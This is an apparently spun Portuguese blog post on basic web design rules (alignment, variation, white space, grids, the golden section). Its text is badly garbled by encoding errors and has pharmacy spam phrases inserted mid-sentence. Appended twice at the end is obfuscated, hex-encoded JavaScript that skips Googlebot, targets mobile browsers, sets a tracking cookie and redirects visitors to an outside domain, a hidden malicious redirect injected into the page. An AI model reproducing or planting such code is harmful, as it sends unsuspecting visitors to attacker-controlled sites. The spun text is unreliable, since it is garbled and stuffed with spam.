Design Inteligente – Diretrizes BA?sicas de Design para o seu site

Quando falamos por design inteligente, nA?o estamos falando a cerca de a criaAi??A?o do jovem macho. NA?o, isso Ai?? mais importante! A criaAi??A?o de seus suplementos de mAi??dia e site.

HA? vA?rias coisas bA?sicas sobre design que podem vir a ser aprendidas e de que podem sentir melhoramentos muito a capacidade do criar criaAi??Ai??es atraentes e inteligentes. VA?rias dessas causas sA?o:

1. Alinhando as coisas

2. Usando VariaAi??A?o

3. Dando Sala por RespiraAi??A?o

4. Usando a grade

5. A SeAi??A?o A?urea

6. Alinhando as coisas

As coisas de que se alinham parecem agradA?veis. As coisas que estA?o por a 100% o lado nA?o aparentam boas. Ai?? especialmente claro de que Ai?? preciso conhecer regras para saber quais quebrar, entA?o essas regras sA?o apenas diretrizes. Em geral, linhas retas ou suaves sA?o pfizer pharmaceuticals generic viagra. atraentes. Linhas irregulares e inconsistentes sA?o menos propensas a serem atraentes. Um design com muitos elementos alinhados e certos elementos que nA?o criam um bom contraste, mas comeAi??ar usando coisas que se alinham Ai?? uma boa norma fA?cil para iniciantes.

Para suportar estas declaraAi??Ai??es, vamos dar uma olhada nos exemplos por objetos feitos pelo jovem macho. Estradas, mesas, paredes, edifAi??cios, recipientes por suco do laranja. As formas do todos esses objetos sA?o retas ou consistentes e qualquer brincadeira dessa norma Ai?? considerado levemente repulsivo. Nas estradas, o tema Ai?? fundamental para a saA?de. Existem uma fusA?o sob construAi??A?o a partir do leste 60 (Ai?? assim que identificamos estradas cA? na CalifA?rnia) para o sul 215, onde o turno comeAi??a em uma circunstA?ncia por tamanho, em seguida, abruptamente vira certos graus ainda mais apertado para outra circunstA?ncia de tamanho. Esta ligeira alteraAi??A?o na curvatura faz com de que o motorista tenha de que se ajustar para tal mudanAi??a usando um leve e aparentemente inesperado giro da roda. Eu digo aparentemente porque as barreiras rodoviA?rias impedem um motorista de ver toda a virada indo para ele e existem um monte do marcas de pneus gravadas na barreira da construAi??A?o bem pelo ponto da mudanAi??a de curvatura.

Vamos olhar para as mesas. Obviamente, mesas retas e uniformes sA?o boas para escrever, encaixam bem em paredes retas e ficam bem, pelo menos para mim. EdifAi??cios, como mesas, sA?o formas convenientes para eficiA?ncia de espaAi??o, desenho de mapas, criaAi??A?o do estradas, mobAi??lia e modularidade de salas. Ai?? claro que os prAi??dios curvos tambAi??m sA?o belos, porAi??m as curvas geralmente sA?o muito uniformes e, na maioria de vezes, a curva Ai?? especialmente acompanhada pharm support group drug. por uma linha reta em outra dimensA?o.

Ok, suco de laranja – muito bom para enviar pequenas caixas quadradas. RetA?ngulos compridos criam uma boa tela para este marketing. Se as linhas retas nA?o forem retas, mas amassadas ou amassadas, Ai?? provA?vel que o visitante nA?o compre a embalagem.

Todos os sA?o objetos feitos pelo homem de que se beneficiam na usabilidade de linhas retas ou uniformemente curvas. Vamos lanAi??ar uma olhada na natureza. As A?rvores sA?o sobretudo linhas retas. Os troncos de uma floresta por pau-brasil vA?o todos em uma direAi??A?o com notA?vel consistA?ncia. (A propA?sito, a propA?sito, a menos que vocA? esteja no lado oposto da Terra, nesse caso, seria para reles. ) Novamente, isso Ai?? especialmente a usabilidade para a A?rvore – uma rivalidade em altura para chegar ao sol. Folhas – veias retas para fora para as pontas – mesma idAi??ia, pegue 1 pouco (luz). Curvatura da terra – mais suave do que a curvatura de uma bola 8. Algo a olhar com a gravidade de que, para a existA?ncia saiba como a conhecemos, Ai?? bastante A?til.

OK, OK, mas como isso se aplica ao o inteligente ___________ (preencha este espaAi??o em branco – web sitio, anA?ncio, design de embalagem, carro elAi??trico solar, cabelo)?

Para seus projetos, alinhe suas causas em linhas retas. Alinhe as imagens de modo que as bordas da imagem fiquem alinhadas usando as bordas e linhas da imagem, texto usando texto e outros elementos alinhados usando outros elementos. Este foi um princAi??pio de design fundamental, ainda assim, alguns sites estA?o em todo o lugar com todas as imagens e seAi??Ai??es de texto do todas as maneiras.

Usando VariaAi??A?o

Causas que se alinham e nA?o tA?m variaAi??A?o sA?o chatas. Como exemplo, estradas longas e retas sem curvas sA?o muito entediantes. Estes 58 ziguezagues atravessam este A?rido deserto do sul da CalifA?rnia, entre montanhas, a cada poucos quilA?metros por vez. O 5 vai em uma linha reta por milha depois milha apA?s horas depois horas. Qual vocA? prefere dirigir?

Da mesma estilo, com sites da Web, se tudo estiver alinhado na mesma linha, a pA?gina provavelmente parecerA? muito chata. O visitante pode alterA?-lo com:

1. Negrito TAi??tulos

2. Listas de produtos

3. Post recuado

Praticamente essas causas quebram a monotonia das linhas retas e podem vir a adicionar ritmo a 1 design. Ainda assim, se houver muita ruptura das linhas, o design pode tornar-se um ruAi??do que parece difAi??cil por ler. Ai?? especialmente difAi??cil por ler. Ei, sem dA?vida – algumas pessoas estA?o nisso.

Dando elementos do design Sala para respirar

Mesmo as coisas de que se alinham geralmente nA?o parecem interessantes se nA?o conseguem respirar. Colocar o texto junto Ai?? borda de outro elemento possui uma sensaAi??A?o claustrofA?bica. Alguns sites possuem tantas informaAi??Ai??es em uma pA?gina que nA?o existem margens nem espaAi??o para respirar dos elementos. O resultado permanecequeda no desconforto e na ilegibilidade. DA? suas imagens e margens de texto, quadros ou espaAi??o para respirar.

Use a grade, Luke

Para ajudA?-lo a alinhar as coisas, use papel milimetrado, a grade do Adobe Photoshop ou desenhe uma grade medida vocA? precisamente. No design final, essa grade geralmente Ai?? removida, mas posta em uzo no layout para garantir que as coisas fiquem bem alinhadas. Designers experientes costumam utilizar intuitivamente uma grade isento ter uma grade fAi??sica no design.

A divisA?o A?urea

Existem uma coisa chamada divisA?o A?urea, a proporAi??A?o A?urea ou a proporAi??A?o divina. Se vocA? realmente tem que matemA?tica, tA?m a possibilidade de fazer uma pesquisa para aprender mais. Para aqueles de nA?s que nA?o gostam de matemA?tica, a SeAi??A?o A?urea Ai?? 1 pouco mais de um terAi??o. Se vocA? tirar uma foto kneefel.info, ela parecerA? muito bonita se o visitante mostrar um pouco mais de dois terAi??os do cAi??u. Este mesmo se aplica a muitas formas de composiAi??A?o. Esta divisA?o de ouro tem algum gAi??nero de relaAi??A?o usando a geometria bA?sica que parece ressoar com o senso de beleza de um humano.

ConclusA?o

Ao projetar coisas, lembre-se: Alinhe as coisas, mas nA?o seja chato. Use grades para alinhar as causas. A seAi??A?o de ouro parece legal. Paz.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}